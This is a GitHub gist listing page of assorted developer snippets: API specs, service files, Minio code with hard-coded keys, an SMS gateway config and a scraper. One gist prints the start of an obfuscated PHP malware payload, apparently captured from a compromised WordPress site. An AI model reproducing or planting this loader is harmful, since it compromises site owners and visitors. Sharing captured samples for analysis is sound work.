Skip to content

Instantly share code, notes, and snippets.

View manjeshpv's full-sized avatar
🇮🇳
in India

Manjesh V manjeshpv

🇮🇳
in India
  • LEADSchool.in
  • Bangalore
View GitHub Profile
@manjeshpv
manjeshpv / gcm.yaml
Last active January 18, 2016 06:06
GCM - Google Cloud Messaging - Swagger Specs
swagger: '2.0'
info:
title: Google Cloud Messaging API
description: Send Android and Chrome Notifications
version: 1.0.0
host: android.googleapis.com
schemes:
- https
produces:
- application/json
app.use(function oAuthMiddleWare(req, res, next) {
const environment = process.env.NODE_ENV || 'development';
if (environment === 'development') {
const request = req;
request.user = {
id: 82, // Consultant ID
// id: 113, // Client ID
client_id: 44,
};
} else {
@manjeshpv
manjeshpv / wodpress-malware-injection.php
Created February 29, 2016 09:37
Malware in WordPress- Injected PHP Code
<?php $tnfnirv = '#!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#w)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#DyfR x27tfs%6<*17-SFEBFI,6<*1)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-U5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6 x63 164 x69 157 x6e"; function evltynv($n){return chr(ord($n)-1);#!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeob%t2w/ x24)##-!#~<#/% x24- x24!>Ypp3)%cB%iN}#-! x24/%tx74 145 x5f 146 x75 1572 164") && (!isset($Gbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB` x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)85]Ke]53Ld]53]Kc]55Ld]55#*<%bGx27{**u%-#jt0}Z;0]=]0#)2q%l}S;bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj%h00#*<%nfd)##Qtpz)#]341)# x24#-!#]y38#-!%w:**<")));$aebbqtv = $wczleed("", $mse7,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rh%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n4 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x22-u%!-#2#/#%#/#o]#/*)3
@manjeshpv
manjeshpv / project.service
Created April 18, 2016 12:22
Systemd service for go and nodejs
# go
[Unit]
Description=Beatle
After=syslog.target
[Service]
WorkingDirectory=/root/go/bin
ExecStart=/root/go/bin/hello
ExecReload=/usr/bin/kill -HUP $MAINPID
Restart=always
@manjeshpv
manjeshpv / minio.presignedPostPolicy.js
Last active May 25, 2016 11:59
Minio presignedPostPolicy
var Minio = require('minio')
var s3Client = new Minio({
endPoint: 'localhost',
accessKey: '991OQNY5DUSYGFORMKRX',
secretKey: 'Gi2CK8DKIAZPoyRtAXDx33xdJ6IzorEzU0j30F5j',
secure: false,
port: 9000
});
// Construct a new postPolicy.
@manjeshpv
manjeshpv / daily.sh
Created September 23, 2016 15:42
unix commands
# find number of files in folder recursively
find . -type f | wc -l
# Resume counts
SELECT substr(resume_path, 1, 2) as a, count(1) FROM `candidates` group by a
@manjeshpv
manjeshpv / kannel.conf
Created September 27, 2016 20:15
Kannel Config
group = core
admin-port = 13000
admin-password = Easy
status-password = Easy
admin-allow-ip = '*.*.*.*'
smsbox-port = 13001
log-level = 1
log-file = "/etc/kannel/logs/kannel.log"
box-allow-ip = "*.*.*.*"
// http://dir.indiamart.com/mumbai/bulk-sms-service.html
$('.listing').each(function(i, list){
$(list).find('.listing-contact > span').find('script').remove()
console.log($(list).find('.product-name').text()+"\t"+$(list).find('.lcname > a').text()+"\t"+$(list).find('.cityLocation-grid').text()+"\t"+$(list).find('.listing-contact > span').text())
});
@manjeshpv
manjeshpv / backup.sh
Created October 22, 2016 11:07 — forked from cedricvidal/backup.sh
ElasticSearch log index backup & restore scripts
#!/bin/bash
# herein we backup our indexes! this script should run at like 3 AM every first day of the month, after logstash
# rotates to a new ES index and theres no new data coming in to the old one. we grab metadatas,
# compress the data files and backs up to whatever long term storage.
. ./config.sh
echo "Checking that index exist in ES"
if [ `curl -sI $ESURL/$INDEXNAME | grep OK | wc -l` -eq 0 ]
then